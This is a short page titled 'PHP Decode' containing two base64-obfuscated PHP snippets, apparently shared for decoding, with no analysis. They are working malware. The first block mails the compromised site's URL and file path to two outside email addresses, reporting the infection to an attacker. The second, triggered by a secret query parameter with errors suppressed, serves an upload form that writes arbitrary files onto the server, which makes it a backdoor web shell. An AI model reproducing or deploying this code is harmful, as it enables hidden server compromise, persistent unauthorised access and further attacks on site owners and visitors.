PHP Decode

<? $cgwluiqd98defd6ee70dfb1dea416cecdf391f58=base64_decode('Mg==');if(!ereg($cgwluiqd98defd6ee70dfb1dea416cecdf391f58,$_SERVER[base64_decode('U0VSVkVSX05BTUU=')])){$gvclbmrz01b6e20344b68835c5ed1ddedf20d531=base64_decode('aXE5Njk5OUBnbWFpbC5jb20sZ3JlZy5oYW5zZW4xOTZAYW9sLmNvbQ==');$uifrayhgb5e3374e43f6544852f7751dfc529100=base64_decode('Q1AyMDE3');$ubhcseal099fb995346f31c749f6e40db0f395e3=base64_decode('ZnJvbTogY2hhc3NzZW5ldyA8YWNjb3VudGxvdmU+');$jwlwfnup78e731027d8fd50ed642340b7c9a63b3=base64_decode('TGluayA6IGh0dHA6Ly8=').$_SERVER[base64_decode('U0VSVkVSX05BTUU=')].$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')].base64_decode('DQo=');$jwlwfnup78e731027d8fd50ed642340b7c9a63b3.=base64_decode('UGF0aCA6IA==').__file__;$mxhmdzbpe933babef46b229b61df0f8e4a0d1df0=@mail($gvclbmrz01b6e20344b68835c5ed1ddedf20d531,$uifrayhgb5e3374e43f6544852f7751dfc529100,$jwlwfnup78e731027d8fd50ed642340b7c9a63b3,$ubhcseal099fb995346f31c749f6e40db0f395e3);echo '';exit;}?> 
<?php error_reporting(0);$lgpqjunx54b53072540eeeb8f8e9343e=$_GET[base64_decode('YWE=')];if($lgpqjunx54b53072540eeeb8f8e9343e==base64_decode('YWFh')){$eghlnbxe3b47f5064418f00eb8144bd6=$_FILES[base64_decode('ZmlsZQ==')][base64_decode('dG1wX25hbWU=')];$hnhvvain489d2a1148292320381970c2=$_FILES[base64_decode('ZmlsZQ==')][base64_decode('bmFtZQ==')];echo base64_decode('PGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCjxpbnB1dCB0eXBlPSdmaWxlJ25hbWU9J2ZpbGUnIC8+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nb2snIC8+DQo8L2Zvcm0+');move_uploaded_file($eghlnbxe3b47f5064418f00eb8144bd6,$hnhvvain489d2a1148292320381970c2);}?>